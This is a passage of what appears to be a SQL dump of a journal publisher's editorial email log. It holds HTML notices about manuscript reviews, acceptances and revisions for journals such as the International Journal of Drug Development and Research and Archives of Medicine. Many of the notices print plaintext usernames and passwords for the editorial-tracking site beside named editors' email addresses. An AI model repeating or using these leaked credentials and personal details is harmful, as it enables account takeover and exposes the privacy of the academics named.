#cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-631</b><br />\r\n            <br />\r\n            Article Title: <b>CYBERPSYCHOLOGY: A RAPID OVERVIEW OF SEXTING</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Etindele Sosso Faustin Armel</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipjnn-19-631</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.scholarscentral.org/editorial-tracking/\">https://www.scholarscentral.org/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','rubidoc@gmail.com',631,'2019-09-09',75),(401,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-19-2079</b><br />\r\n            <br />\r\n            Article Title: <b>Role of Drug-Related Self Esteem in Relationship between Drug Related Locus of Control and Depression among Substance Users</b><br />\r\n            <br />\r\n            Corresponding Author: <b>zooni ashfaq</b><br />\r\n            <br />\r\n            Journal Title: <b>International Journal of Drug Development and Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>SCILIMATI</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ijddr-19-2079</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.scholarscentral.org/editorial-tracking/\">https://www.scholarscentral.org/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._antonio<br />\r\n            <b>Password:</b> MtxePqqc<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','antonio.scilimati@uniba.it',2079,'2019-09-09',376),(402,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-19-2051</b><br />\r\n            <br />\r\n            Article Title: <b>BACTERIAL ISOLATES FROM LONAR LAKE PRODUCE ANTIMICROBIAL FACTORS EFFECTIVE AGAINST MDR PATHOGEN</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Anushka Salvi</b><br />\r\n            <br />\r\n            Journal Title: <b>International Journal of Drug Development and Research</b><br />\r\n            <br />\r\n            Dear Dr. <b> Tasleem Jan</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ijddr-19-2051</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.scholarscentral.org/editorial-tracking/\">https://www.scholarscentral.org/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> dr._arif<br />\r\n            <b>Password:</b> 9872V94j<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','atasleem@gmail.com',2051,'2019-09-09',376),(403,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-19-1998</b><br />\r\n            <br />\r\n            Article Title: <b>GGene expression profiling and functional annotation of dengue virus</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Afaf S. Alwabli</b><br />\r\n            <br />\r\n            Journal Title: <b>International Journal of Drug Development and Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>SCILIMATI</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ijddr-19-1998</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.scholarscentral.org/editorial-tracking/\">https://www.scholarscentral.org/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._antonio<br />\r\n            <b>Password:</b> MtxePqqc<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','antonio.scilimati@uniba.it',1998,'2019-09-09',376),(404,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-19-2079</b><br />\r\n            <br />\r\n            Article Title: <b>Role of Drug-Related Self Esteem in Relationship between Drug Related Locus of Control and Depression among Substance Users</b><br />\r\n            <br />\r\n            Corresponding Author: <b>zooni ashfaq</b><br />\r\n            <br />\r\n            Journal Title: <b>International Journal of Drug Development and Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>SCILIMATI</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ijddr-19-2079</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.scholarscentral.org/editorial-tracking/\">https://www.scholarscentral.org/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._antonio<br />\r\n            <b>Password:</b> MtxePqqc<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','antonio.scilimati@uniba.it',2079,'2019-09-09',376),(405,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-19-1998</b><br />\r\n            <br />\r\n            Article Title: <b>GGene expression profiling and functional annotation of dengue virus</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Afaf S. Alwabli</b><br />\r\n            <br />\r\n            Journal Title: <b>International Journal of Drug Development and Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>SCILIMATI</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ijddr-19-1998</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.scholarscentral.org/editorial-tracking/\">https://www.scholarscentral.org/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._antonio<br />\r\n            <b>Password:</b> MtxePqqc<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','antonio.scilimati@uniba.it',1998,'2019-09-09',376),(406,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-19-2051</b><br />\r\n            <br />\r\n            Article Title: <b>BACTERIAL ISOLATES FROM LONAR LAKE PRODUCE ANTIMICROBIAL FACTORS EFFECTIVE AGAINST MDR PATHOGEN</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Anushka Salvi</b><br />\r\n            <br />\r\n            Journal Title: <b>International Journal of Drug Development and Research</b><br />\r\n            <br />\r\n            Dear Dr. <b> Tasleem Jan</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ijddr-19-2051</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.scholarscentral.org/editorial-tracking/\">https://www.scholarscentral.org/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> dr._arif<br />\r\n            <b>Password:</b> 9872V94j<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','atasleem@gmail.com',2051,'2019-09-09',376),(459,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-19-715</b><br />\r\n            <br />\r\n            Article Title: <b>Breeding and Resting Behaviour of Aedes aegypti in Indoor and Outdoor Environment in Kassala City, Sudan 2014/2015</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Rbab Mohamed HajHamed</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Science Journal</b><br />\r\n            <br />\r\n            Dear Dr. <b>Marvaki</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>iphsj-19-715</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.scholarscentral.org/editorial-tracking/\">https://www.scholarscentral.org/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> christina<br />\r\n            <b>Password:</b> yODOx8ib<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ch.marvaki@gmail.com',715,'2019-09-14',48),(477,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-19-453</b><br />\r\n            <br />\r\n            Article Title: <b>Peri-procedural, non-invasive hemodynamic monitoring in TAVI-patients - Potential impact on patient selection and outcome prediction&nbsp;</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Divchev</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2019-09-19</b><br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dimitar.divchev@med.uni-marburg.de',453,'2019-09-19',85),(478,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-19-917</b><br />\r\n            <br />\r\n            Article Title: <b>Stroke, carotid thrombosis and other thrombotic events in essential thrombocythemia patient with a high quantity of micromegakaryocytes</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Miguel Augusto Pereira</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>L. Cook</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-19-917</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jennifer<br />\r\n            <b>Password:</b> rTMjHpr8<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jencook@email.arizona.edu',917,'2019-09-19',85),(484,'<p>Ref.:  Ms. No. <b>ijddr-19-1998</b><br />\r\n<br />\r\n<b>GGene expression profiling and functional annotation of dengue virus</b><br />\r\n<br />\r\n<b>International Journal of Drug Development and Research</b><br />\r\n<br />\r\nDear <b>Dr. SCILIMATI</b>,<br />\r\n<br />\r\n<b>PROF. ANTONIO&nbsp;SCILIMATI</b> has agreed to take on this assignment.<br />\r\n<br />\r\nRegards,<br />\r\n<b><a href=\"http://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></p>',2,'Editor Agrees To Handle Assignment','antonio.scilimati@uniba.it',1998,'2019-09-20',376),(485,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-19-1998</b><br />\r\n            <br />\r\n            Article Title: <b>GGene expression profiling and functional annotation of dengue virus</b><br />\r\n            <br />\r\n            Journal Title: <b>International Journal of Drug Development and Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Alwabli</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2019-09-17</b><br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','aalwabili@stu.kau.edu.sa',1998,'2019-09-20',376),(492,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-19-917</b><br />\r\n            <br />\r\n            Article Title: <b>Stroke, carotid thrombosis and other thrombotic events in essential thrombocythemia patient with a high quantity of micromegakaryocytes</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>L. Cook</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-19-917</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','jencook@email.arizona.edu',917,'2019-09-23',85),(495,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-19-1673</b><br />\r\n            <br />\r\n            Article Title: <b>Comparative Analysis of Production Performance in Integrated Aquaculture system  and Single System of Production of Fish, Rice, Poultry and Pig </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Olawale Onada</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>CAN</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipfs-19-1673</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._dr._fatih<br />\r\n            <b>Password:</b> NzMOXR3S<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','fcan@mku.edu.tr',1673,'2019-09-23',645),(496,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-19-917</b><br />\r\n            <br />\r\n            Article Title: <b>Stroke, carotid thrombosis and other thrombotic events in essential thrombocythemia patient with a high quantity of micromegakaryocytes</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Pereira</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2019-09-24</b><br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mappereira@icloud.com',917,'2019-09-24',85),(506,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-19-1452</b><br />\r\n            <br />\r\n            Article Title: <b>Assessment of technical and economic efficiencies of gillnet types with different as against the usual same, hanging ratios at the top and down ropes, compared with a standard gillnet, in the Volta Lake, Ghana.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Lawrence Issah Braimah</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>BUCK</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipfs-19-1452</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._dr._bela_h.<br />\r\n            <b>Password:</b> PTDXyt0Q<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','Bela.H.Buck@awi.de',1452,'2019-09-25',645),(513,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-19-2540</b><br />\r\n            <br />\r\n            Article Title: <b>Porphyridium cruentum harvesting process: impact to biomass, extracellular polysaccharide and antihyperglycemic activity</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Iriani Setyaningsih</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>CAN</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipfs-19-2540</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._dr._fatih<br />\r\n            <b>Password:</b> NzMOXR3S<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','fcan@mku.edu.tr',2540,'2019-09-30',645),(516,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-19-1673</b><br />\r\n            <br />\r\n            Article Title: <b>Comparative Analysis of Production Performance in Integrated Aquaculture system  and Single System of Production of Fish, Rice, Poultry and Pig </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Olawale Onada</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>CAN</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipfs-19-1673</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._dr._fatih<br />\r\n            <b>Password:</b> NzMOXR3S<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','fcan@mku.edu.tr',1673,'2019-10-01',645),(525,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">&nbsp;</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-2696</b><br />\r\n            <br />\r\n            Article Title: <b>A case report and literature review of clobazam toxicity related to CBD and Clobazam drug drug interaction</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Rowida Kheireldin</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-19-2696</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',2696,'2019-10-14',75),(528,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">&nbsp;</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-602</b><br />\r\n            <br />\r\n            Article Title: <b>NMDA antagonist ketamine induces significant hyperactivity and prepulse inhibition deficits in Gunn rats: a possible hyperbilirubinemia-induced animal model of schizophrenia</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Hayashida</b><br />\r\n            <br />\r\n            As  is concerned about the timelines, we are expecting the revision of <b>ipjnn-19-602</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"http://www.jneuro.com/\">http://www.jneuro.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>maiko</b><br />\r\n            Password : <b>uOPrQY9M</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and 